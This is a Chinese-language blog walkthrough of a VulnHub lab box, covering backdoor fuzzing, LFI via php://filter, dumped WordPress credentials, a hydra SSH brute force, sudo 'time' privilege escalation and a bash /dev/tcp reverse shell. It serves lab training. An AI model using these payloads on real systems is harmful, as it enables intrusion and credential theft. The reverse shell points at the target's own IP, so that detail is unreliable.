🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
一、信息收集
1.主机探测
发现靶机的IP是192.168.11.90
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
2.端口扫描
发现开放了22、80端口
还可以看到robots.txt
,wp-admin
目录以及cms为WordPress5.8.1
3.web服务
点击这个Hello Blue!
网站显示无法访问,但是可以看到有个域名显示
把这个域名加入hosts文件中,就可以访问了
再次进行访问
页面提示说找不到他的后门,说明此网站肯定已经被植入了后门,查看一下源代码
这里有一段英文,意思就是说要向Mr. Miessler
寻求帮助,也不知道是啥意思,在网上搜一下
4.后门文件查找
然后github上面提示我在kali上面下载这个
apt -y install seclists
因为 WordPress
在 Apache PHP 上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用 SecLists
里的 CommonBackdoors-PHP.fuzz.txt
扫描
/usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
dirsearch 扫描
发现一个NetworkFileManagerPHP.php
页面,进行访问,但是访问后发现是一片空白,说明确实存在这个页面,再根据状态码为500猜测这个页面可能存在LFI
使用wfuzz测试一下参数
┌──(root💀kali)-[~/桌面]
└─# dirsearch -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -u http://redrocks.win/
wfuzz扫描
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
使用key
参数测试一下LFI
发现成功了,说明参数就是key 且存在文件包含漏洞
直接读取,发现php被解析了,所有要利用php伪协
二、漏洞利用
1.文件包含-filter伪协议
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
经过base64解码:
中间有一段被注释了的base64加密的,解密以后:
发现并没有什么用,因为提到了hashcat,于是寻找账号密码信息,因为是WordPress,所以查找该配置文件信息wp-config.php
还是通过文件包含用PHP伪协议去读取文件源码,然后base64解码
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define('FS_METHOD', 'direct');
define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
发现了一个账号和密码
/** MySQL database username */
define( 'DB_USER', 'john' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
尝试ssh远程登录,但是发现失败了
2.hash碰撞
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
##passwd.txt 为配置文件中读取的密码,passlist.txt为hash碰撞生成的密码
hydar爆破账号密码
hydra -l john -P passlist.txt 192.168.11.90 ssh
3.提权
┌──(root💀kali)-[~/桌面]
└─# ssh john@192.168.11.90
但是发现登录进去,没有过几秒就自动退出ssh远程了
登录退出来以后,还要重新利用hydra
进行破解
sudo -l
发现ippsec用户在无密码的情况下可以执行/usr/bin/time
命令,在提权网站上查找提权方法
使用sudo -u ippsec /usr/bin/time /bin/bash
提权为ippsec用户
想进行下一步操作,发现shell又被断掉了
所有,在退出之前,进行反弹shell,保留权限
cd /tmp
cat shell.sh
内容为:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.11.90/4444 0>&1'
保存后退出
chmod +x shell.sh
./shell.sh
kali监听本地的4444端口即可
shell连接成功,升级一下shell
1. 在 /tmp 目录中创建一个反向 shell bash 脚本
2. 在 kali 上运行 `nc -lvvp 4444` 和 执行 shell 脚本
3. `python3 -c 'import pty;pty.spawn("/bin/bash")'`
4. `export TERM=xterm` 然后 Ctrl+Z 退出来一下
5. `stty raw -echo;fg` 回车后输入 reset 再回车
即可得到一个不会断开的shell